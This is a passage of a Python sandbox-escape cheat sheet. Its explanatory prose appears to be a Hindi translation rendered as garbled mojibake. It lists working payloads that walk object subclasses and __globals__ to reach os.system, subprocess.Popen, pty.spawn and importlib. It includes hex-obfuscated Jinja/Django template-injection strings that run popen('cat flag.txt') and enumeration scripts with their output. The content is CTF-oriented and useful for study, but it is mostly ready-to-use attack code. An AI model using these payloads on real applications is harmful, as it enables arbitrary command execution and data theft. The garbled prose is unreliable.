{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЧрд┐рдирддреА/рд╕реИрдХрдбрд╝реЛрдВ рдЬрдЧрд╣реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк globals рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ

рдпрд╣рд╛рдБ рдореИрдВ рд╕рдордЭрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдБ рдХрд┐ рдХреИрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЬрд╝реНрдпрд╛рджрд╛ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣рдорд▓реЛрдВ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд╕рд╛рде рдЙрдкрдХрдХреНрд╖реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ

рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рд╕рдмрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдмреЗрд╕ рдЙрдкрдХрдХреНрд╖реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рдирд╛ред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдпрд╣ ''.__class__.__base__.__subclasses__() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд▓реЗрдХрд┐рди рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЗ рднреА рд╣реИрдВ:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

рдЦрддрд░рдирд╛рдХ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЬрд╛рдирдХрд░ рдХрд┐ рдкреБрд╕реНрддрдХрд╛рд▓рдп sys рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдЖрдпрд╛рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЖрдк рдЙрди рд╕рднреА рдореЙрдбреНрдпреВрд▓реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ sys рдЖрдпрд╛рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╣реИрдВ, рдФрд░ рд╣рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

рд╣рдо рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рд╕рд╛рде рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдо рдпрд╣ рднреА рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдореЙрдбреНрдпреВрд▓ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреБрд╕реНрддрдХрд╛рд▓рдп рд▓реЛрдб рдХрд░ рд░рд╣реЗ рд╣реИрдВ:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдк рд╕реЛрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рд╕рдВрднрд╛рд╡рд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рднреАрддрд░ рдлрд╝рдВрдХреНрд╢рди рдирд╛рдореЛрдВ рджреНрд╡рд╛рд░рд╛ рднреА рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Recursive Search of Builtins, Globals...

рдпрд╣ рдмрд╕ рд╢рд╛рдирджрд╛рд░ рд╣реИред рдпрджрд┐ рдЖрдк globals, builtins, open рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд╕реНрддреБ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдмрд╕ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЙрд╕ рд╡рд╕реНрддреБ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд╣рд╛рдБ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд░реВрдк рд╕реЗ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдПред

import os, sys # Import these to find more gadgets

